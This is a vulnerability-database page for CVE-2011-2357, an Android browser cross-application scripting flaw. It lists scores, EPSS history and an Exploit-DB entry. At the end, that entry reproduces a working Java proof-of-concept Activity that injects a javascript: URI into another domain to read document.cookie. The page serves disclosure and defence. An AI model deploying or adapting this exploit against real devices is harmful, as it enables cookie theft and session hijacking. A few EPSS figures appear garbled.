CVE-2011-2357

OWSAP

A03-Injection

EPSS

7.42%V4

Vector

Network

Published

2011-08-12
16h00 +00:00

Modified

2018-10-09
16h57 +00:00

Official links

CVE.org

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Criteria applied when sending the alert: compared with the last alert sent + differences in CISA, EPSS, CVSS, CWE, Solutions, CPE.

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CVE Descriptions

Cross-application scripting vulnerability in the Browser URL loading functionality in Android 2.3.4 and 3.1 allows local applications to bypass the sandbox and execute arbitrary Javascript in arbitrary domains by (1) causing the MAX_TAB number of tabs to be opened, then loading a URI to the targeted domain into the current tab, or (2) making two startActivity function calls beginning with the targeted domain's URI followed by the malicious Javascript while the UI focus is still associated with the targeted domain.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-20	Improper Input Validation The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	4.3		AV:N/AC:M/Au:N/C:N/I:P/A:N	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	12.57%	–	–
2022-04-03	–	–	12.57%	–	–
2023-02-26	–	–	12.57%	–	–
2023-03-12	–	–	–	1.36%	–
2023-07-09	–	–	–	1.5%	–
2023-09-03	–	–	–	1.76%	–
2023-09-17	–	–	–	1.76%	–
2023-11-12	–	–	–	1.34%	–
2024-02-11	–	–	–	1.34%	–
2024-06-02	–	–	–	1.34%	–
2024-06-02	–	–	–	1.34%	–
2024-11-03	–	–	–	1.34%	–
2024-12-22	–	–	–	1.34%	–
2025-01-19	–	–	–	1.34%	–
2025-03-18	–	–	–	–	6.55%
2025-04-12	–	–	–	–	7.42%
2025-04-12	–	–	–	–	7.42,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2022-02-06	9%
2022-04-03	95%
2023-02-26	96%
2023-03-12	84%
2023-07-09	85%
2023-09-03	86%
2023-09-17	87%
2023-11-12	85%
2024-02-11	86%
2024-06-02	86%
2024-06-02	86%
2024-11-03	87%
2024-12-22	86%
2025-01-19	86%
2025-03-18	9%
2025-04-12	91%
2025-04-12	91%

Exploit information

Exploit Database EDB-ID : 36006

Publication date : 2011-08-01 22h00 +00:00
Author : Roee Hay
EDB Verified : Yes

source: https://www.securityfocus.com/bid/48954/info Open Handset Alliance Android is prone to a vulnerability that may allow a bypass of the browser sandbox. Successful exploits will allow attackers to execute arbitrary script code within the context of an arbitrary domain. Android 2.3.4 and 3.1 are vulnerable; prior versions may also be affected. public class CasExploit extends Activity { static final String mPackage = "com.android.browser"; static final String mClass = "BrowserActivity"; static final String mUrl = "http://target.domain/";; static final String mJavascript = "alert(document.cookie)"; static final int mSleep = 15000; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); startBrowserActivity(mUrl); try { Thread.sleep(mSleep); } catch (InterruptedException e) {} startBrowserActivity("javascript:" + mJavascript); } private void startBrowserActivity(String url) { Intent res = new Intent("android.intent.action.VIEW"); res.setComponent(new ComponentName(mPackage,mPackage+"."+mClass)); res.setData(Uri.parse(url)); startActivity(res); } }